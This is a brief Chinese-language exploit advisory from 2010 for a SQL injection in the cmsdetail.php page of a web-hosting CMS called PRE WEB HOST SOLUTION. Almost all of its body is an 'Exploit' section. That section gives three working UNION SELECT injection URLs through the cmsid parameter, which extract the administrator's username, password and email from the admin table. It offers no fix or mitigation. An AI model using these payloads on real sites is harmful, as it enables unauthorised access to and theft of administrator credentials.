PRE WEB HOST SOLUTION SQL Injection

发布日期：2010-11.14
发布作者：Cru3l.b0y

影响版本：未知
官方地址：http://www.preproject.com

漏洞类型：SQL注入
漏洞描述：cmsdetail.php页面未对参数进行过滤直接带入SQL查询，导致注入攻击。

 

 测试方法：

[+] Exploit :

 

暴用户名：Username : http://target/path/cmsdetail.php?cmsid=1+union+select+1,2,3,username+from+admin

暴用户密码：Password : http://target/path/cmsdetail.php?cmsid=1+union+select+1,2,3,pass+from+admin

暴管理邮箱：Email : http://target/path/cmsdetail.php?cmsid=1+union+select+1,2,3,Email+from+admin
 

 

标签分类： SQL注入